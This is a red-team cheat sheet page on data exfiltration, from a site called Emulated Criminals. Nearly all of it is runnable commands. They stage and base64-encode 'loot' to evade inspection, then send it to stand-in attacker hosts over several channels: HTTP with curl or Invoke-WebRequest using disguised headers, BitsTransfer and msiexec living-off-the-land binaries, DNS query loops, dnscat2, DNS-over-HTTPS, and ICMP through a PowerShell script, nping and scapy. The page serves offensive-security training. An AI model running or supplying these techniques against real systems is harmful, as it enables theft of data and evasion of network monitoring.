Clyde logo
Playbook
EmulatedCriminals
Back to all cheatsheets

Exfiltration cheatsheet

Reference cheat sheet for data exfiltration techniques across common enterprise environments. Focused on practical transport methods, stealth tradeoffs, and operator reliability.

exfiltrationred teamingdata theft

#Prep Work

Prep Work

Compress and Stage

You should almost always attempt to compress and stage data you will exfiltrate unless its a single file

tar czf loot.tar.gz /data
zip -r loot.zip /data

Split Large Files

If the file is large you should split into 50mb file chunks
In Linux

split -b 50M loot.tar.gz loot.part_

to recombine

cat loot.part_* > loot.tar.gz

In Windows

$chunkSize = 50MB
$bytes = [System.IO.File]::ReadAllBytes("loot.tar.gz")
for ($i = 0; $i -lt $bytes.Length; $i += $chunkSize) 
{
    $chunk = $bytes[$i..([Math]::Min($i + $chunkSize - 1, $bytes.Length - 1))]
    [System.IO.File]::WriteAllBytes("loot.part_$i", $chunk)
}

To Recombine

Get-Content loot.part_* -AsByteStream | Set-Content loot.tar.gz -AsByteStream

Encoding (Base64)

You should encode data as a method of evading content inspection

In Linux

# to encode
base64 loot.tar.gz > loot.b64

# to decode
base64 -d loot.b64 > loot.tar.gz

In Windows

[Convert]::ToBase64String([IO.File]::ReadAllBytes("loot.tar.gz")) | Out-File loot.b64

To decode

[IO.File]::WriteAllBytes("loot.tar.gz",[Convert]::FromBase64String((Get-Content loot.b64)))

#Exfil over Web Protocols

Curl

Basic usage

curl -X POST -F "file=@loot.zip" https://attacker/upload

Custom headers for masquerading

curl -H "User-Agent: Mozilla/5.0" -H "X-Requested-With: XMLHttpRequest" -F "file=@loot.zip" https://attacker/upload

JSON API upload

jq -n --arg data "$(base64 loot.zip)" '{file:$data}' | \
curl -X POST -H "Content-Type: application/json" -d @- https://attacker/api/upload

Chunked upload for size limit evasion

split -b 10M loot.zip loot.part_
for f in loot.part_*; do
  curl -X POST -F "chunk=@$f" https://attacker/upload
done
Invote-WebRequest

Basic usage

Invoke-WebRequest -Uri https://attacker/upload -Method POST -Form @{file=Get-Item loot.zip}

Custom headers for masquerading

Invoke-WebRequest https://attacker/upload  -Method POST -Headers @{ "User-Agent"="Mozilla/5.0"; "X-Requested-With"="XMLHttpRequest" } -InFile loot.zip

JSON API Upload

$body = @{ file = [Convert]::ToBase64String([IO.File]::ReadAllBytes("loot.zip")) } | ConvertTo-Json
Invoke-WebRequest https://attacker/api/upload  -Method POST -ContentType "application/json"  -Body $body
BitsTransfer

BitsTransfer is a Windows LoLBin

Basic Usage

Start-BitsTransfer -Source loot.zip -Destination https://attacker/upload/loot.zip

Low-Priority Mode (more stealthy)

Start-BitsTransfer -Source loot.zip -Destination https://attacker/upload/loot.zip -Priority Low
Msiexec

MSIexec is a Windows LoLBin

msiexec /i https://attacker/loot.zip
WebSockets
wscat -c wss://attacker/ws < loot.zip

#Exfil over DNS

Basics

DNS exfil via queries does not rely on a DNS response, but it does rely on DNS queries hitting infrastructure that the tester controls.

In order for DNS exfiling to be possible you must first

  • 1 Control the domain you want to exfil. Example: notaredteam.lol
  • 2 You must control and monitor the authoritative DNS server for that domain, meaning you must create a NS record for that domain.
  • 3 The target host must send DNS queries containing encoded data.

What that looks like over the wire is thus:

When the target host runs something like

nslookup -type=TXT QmFzZTY0.notaredteam.lol

This causes the resolver to first ask who has QmFzZTY0.notaredteam.lol.

The request then eventually reaches the authoritative DNS server for notaredteam.lol

Then on that authoritative server it will log QmFzZTY0 as being requested.

For this attack to work the authoritative server DOES NOT need the record to exist.

The server should then reply with any of the following

  • NXDOMAIN
  • empty TXT
  • random junk

The response is irrelevant but is useful for disguising your attack.

dnscat2

dnscat is an interactive DNS tunnel with DNS encryption. Not available on target host by default

Start the server on Linux

dnscat2-server attacker.com

Start the server on Windows

dnscat2.exe attacker.com

upload the file

download loot.zip
Manual DNS Exfil (Linux)

YOU MUST CHUNK YOUR FILES!
DNS packets are normally smaller so large packets WILL alert an IDS or appropriately baselined Firewall.

base64 loot.zip | tr -d '\n' | fold -w50 > chunks.txt

while read line; do
  dig $line.notaredteam.com
done < chunks.txt
Manual DNS Exfil (Windows)

YOU MUST CHUNK YOUR FILES!
DNS packets are normally smaller so large packets WILL alert an IDS or appropriately baselined Firewall.

[Convert]::ToBase64String([IO.File]::ReadAllBytes("loot.zip"))  -replace '.{50}', '$&`n' | Out-File chunks.txt

Get-Content chunks.txt | ForEach-Object {
  nslookup "$_.notaredteam.com"
}
DNS Over HTTPs

When using Curl

curl -H "accept: application/dns-json" "https://cloudflare-dns.com/dns-query?name=$(base64 loot.zip).notaredteam.lol&type=A"

When using Invoke-WebRequest

Invoke-WebRequest "https://cloudflare-dns.com/dns-query?name=$([Convert]::ToBase64String([IO.File]::ReadAllBytes('loot.zip'))).attacker.com&type=A"  -Headers @{accept="application/dns-json"}

#Exfil over ICMP

Powershell Script Example

The following script example is from PILOT it requires a listener to recompile the data

Function Run-Pilot{
    param(
        [string]$targetIP = "127.0.0.1",
        [string]$filePath,
        [int]$chunksize = 32,
        [int]$delay = 0
    )

    # Read file in chunks
    try{$chunks = Read-FileInChunks -FilePath $filePath -ChunkSize $chunksize}
    Catch{return}

    #count the CHUNKS
    $totalChunks = $chunks.Count

    # Create ICMP echo request packet
    $icmpPacket = New-Object System.Net.NetworkInformation.Ping

    # Prepare the first packet with file information to transfer. 
    $fileName = [System.IO.Path]::GetFileName($filePath)
    $fileType = [System.IO.Path]::GetExtension($filePath)
    $fileInfo = "FileName: $fileName`nFileType: $fileType`nTotalChunks: $totalChunks"
    $paddingSize = 64 - [System.Text.Encoding]::ASCII.GetByteCount($fileInfo)
    if ($paddingSize -gt 0) {
      # Padding with null characters
        $firstPacket = $fileInfo + $padding
        $padding = [char]::ToString([char]::MinValue) * $paddingSize  
    } else {
      # Trim if info is too long
        $firstPacket = $fileInfo.Substring(0, 64)  
    }

    # Send the first packet
    Write-Host -NoNewline "Sending file information... "
    $response = $icmpPacket.Send($targetIP, 1000, [System.Text.Encoding]::ASCII.GetBytes($firstPacket))
    if ($response.Status -eq "Success") {
        Write-Host "Success"
    } else {
        Write-Host "[!]Failed - Aborting Transfer"
        return
    }

    # Send each chunk in an ICMP packet and wait for response
    for ($i = 0; $i -lt $totalChunks; $i++) {
        $chunkNumber = $i + 1
        Write-Host -NoNewline "Sending chunk $chunkNumber of $totalChunks... "

        $response = $icmpPacket.Send($targetIP, 1000, $chunks[$i])
        if ($response.Status -eq "Success") {
            Write-Host "Success"
        } else {
            Write-Host "[!]Failed - Aborting Transfer"
            return
            
        }
    }
}
See:PILOT
icmptx

Linux based ICMP file exfil tool

icmptx -f loot.zip attacker_ip
Nping

Send custom ICMP packets

nping --icmp --data-string "secretdata" attacker_ip
Scapy

create a custom IP packet

from scapy.all import *
send(IP(dst="attacker_ip")/ICMP()/Raw(load="secretdata"))

Featured  Cheatsheets

Bash icon

Bash

Programming

Code Execution icon

Code Execution

Tactics, Techniques, and Procedures

Credential Access icon

Credential Access

Tactics, Techniques, and Procedures

Recent  Cheatsheets

Sandbox Detection/Evasion (Windows) icon

Sandbox Detection/Evasion (Windows)

2026-01-28

Shellcode Runners icon

Shellcode Runners

2026-01-26

Metasploit icon

Metasploit

2026-01-22

EC  Links

TB

The Briefing Room

Keep up to date on EC

EG

EC Github

Our public repo of research & projects

PG

Playbook Github

Contribute to Playbook

Clyde logo
EC Playbook
Quick Reference Ops

Quick reference cheatsheets for offensive security practitioners. Built by Emulated Criminals for field operators and learners.

Home
EmulatedCriminals
LinkedIn
© 2026 Emulated Criminals. All rights reserved.